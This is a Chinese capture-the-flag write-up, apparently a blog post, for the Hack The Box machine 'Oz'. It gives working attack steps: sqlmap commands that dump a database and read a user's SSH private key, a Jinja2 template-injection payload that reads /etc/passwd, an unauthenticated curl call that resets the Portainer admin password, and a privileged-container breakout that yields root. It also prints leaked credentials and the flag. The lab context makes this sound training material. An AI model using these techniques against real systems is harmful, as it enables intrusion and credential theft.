【Hackthebox】【OZ】

 这次靶机是Hackthebox里面的OZ

=========================================================================================

信息的收集

 

nmap -sV -sC -T5 -p- 10.10.10.96

 

这里我们看到开放了2个端口80和8080.

他们都是Werkzeug的实例

Werkzeug是一个用于Python的WSGI(Web服务器网关接口)实用程序库,其功能之一是将HTTP请求映射到要调用的代码。

 

我们访问下网页

他提示我们需要注册一个用户名

 

我们在访问下8080

 

我在github上找到一个关于Werkzeug应用程序命令执行的仓库

https://github.com/Fare9/PyWerkzeug-Debug-Command-Execution/

但是发现目标关闭了调试模式 

 

尝试爆破下目录这里我用dirsearch

项目地址:https://github.com/maurosoria/dirsearch

 

扫描也没有扫描处什么有用的信息

扫描结果一大堆。

后来我发现 这个网站是不会返回404的 ,而是回返回给你一段随机值

所以我们这样的话很难爆破出结果的 因为返回的内容都是200

我们获取下这个网站还有什么方法可以用

curl -i -X OPTIONS http://10.10.10.96

我们访问的是主页面,发现放回的是200 内容长度为0那么我们可以用这个方法来判断枚举目录

 

所以我们换wfuzz   来爆破,然后筛选结果 返回的内容长度为0的页面

wfuzz -u http://10.10.10.96/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hl 0

我们可以发现有一个users目录访问下看看

还是这个样子。

但是这个路径是个有效的路径,我么试着在后面加一下常见的路径名比如:admin

 

我们就会得到响应username:"admin"

那我们试下其他错误的数据

 

提示错误。

我们再试下' or '1'='1

说明可能存在SQL注入

 

我们试着用SQLMAP跑下

 

sqlmap -u "http://10.10.10.96/users/"  --dbs

sqlmap -u "http://10.10.10.96/users/"  --tables -D ozdb

sqlmap -u "http://10.10.10.96/users/" --columns  -T users_gbw -D ozdb

sqlmap -u "http://10.10.10.96/users/" --dump -C id,username,password  -T users_gbw -D ozdb

 

我们把文件转存下用john来破解下Hash

唯一可以破解的就是wizard.oz: wizardofoz22

我们到http://10.10.10.96:8080登陆下

 

我们用sqlmap读取目标系统里面的文件,把私钥抓出来

sqlmap -u "http://10.10.10.96/users/" --file-read=/home/dorthi/.ssh/id_rsa --batch

 

cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa

 

现在有了私钥,但是我们目标机器只开启了80和8080

 

我们登陆下网站,添加下新的密钥信息

通过在burp中捕获该请求,我们将看到一个带有两个参数name和desc的POST请求。

 

 

然后我们输入{{7*’7'}},它返回7777777而不是49.

 

 

获取passwd内容

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

在Jinja2模板中,有几个全局变量,例如config。

 

{{config}}

 config全局变量的输出显示以下凭据。

MYSQL + pymysql:// dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb

检索配置项将向我们显示一些函数和变量。

{{config.items()}}

 

命令执行

RUNCMD引起了我的注意,因为它可以用来执行命令执行。使用下面的有效负载,我能够检索id机器。

 在那之后,我继续挖掘机器内部以发现更多有趣的文件,并找到了一些凭据。

 

密码= SuP3rS3cr3tP @ ss 
用户= dorthi 
密码= N0Pl4c3L1keH0me

该文件还提到了SSH,所以我认为两个发现的密码中的一个可用于在SSH中进行身份验证?嗯,我们稍后会看到。

然后,我发现了一个有趣的目录  .secret

 

在目录中,knockd.conf检索了一个名为的文件,并检查该文件的内容是否返回UDP端口的配置。这些端口可用于执行端口敲击以打开SSH服务。(所以我们可以使用上面的凭证)

 

 

 

使用名为knock的python工具,我能够打开机器的SSH服务并进行身份验证

https://github.com/grongor/knock

./knock 10.10.10.96 -u 40809 50212 46949 && ssh -i id_rsa dorthi@10.10.10.96 
Passphase:N0Pl4c3L1keH0me

成功通过身份验证后,我现在可以轻松阅读user.txt的内容。 

 

Portainer

https://github.com/portainer/portainer

简单的执行sudo -l表明我们可以inspectlistdocker网络。

执行sudo /usr/bin/docker network ls显示4个docker网络。

检查第一个docker网络会显示一个有趣的容器。

 

IP地址172.17.0.2被指定为Portainer实例,它是用于管理Docker的UI。

 

使用不同的端口敲击工具,我执行了ssh动态端口转发以连接到portainer。

./knock_udp.sh&& ssh -D 9000 -i id_rsa dorthi@10.10.10.96

然后我将我的SOCKS代理设置为Host: 127.0.0.1Port:9000

导航到http://172.17.0.2:9000/,将使用新的登录页面向我们致意,但是我尝试的大多数常见凭据都不成功。似乎Portainer在安装时提示设置管理员密码,而不是使用默认凭据。

检查Portainer GitHub库问题之后,我找到了一个答案Dilshan拉贾帕克萨

 

 

执行下面的简单cURL命令将重置admin的密码。

curl -H“Content-Type:application / json”http://172.17.0.2:9000/api/users/admin/init -d'{“password”:“letmein”}'

然后,我执行以下步骤来读取root.txt。

 


1.转到图像选项卡,单击未使用的图像并复制整个哈希
2.添加容器
3.设置容器名称
4.将哈希粘贴到图像字段中
5.选择交互式TTY 
6.在第
7 卷中选择“路径” 。设置“容器“as / mnt / anything 
8.安全/主机和检查特权模式
9.创建
10.连接到控制台并获取标志。</span>

root-flag:abaa95422109fa5f84d837fe1914af29 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值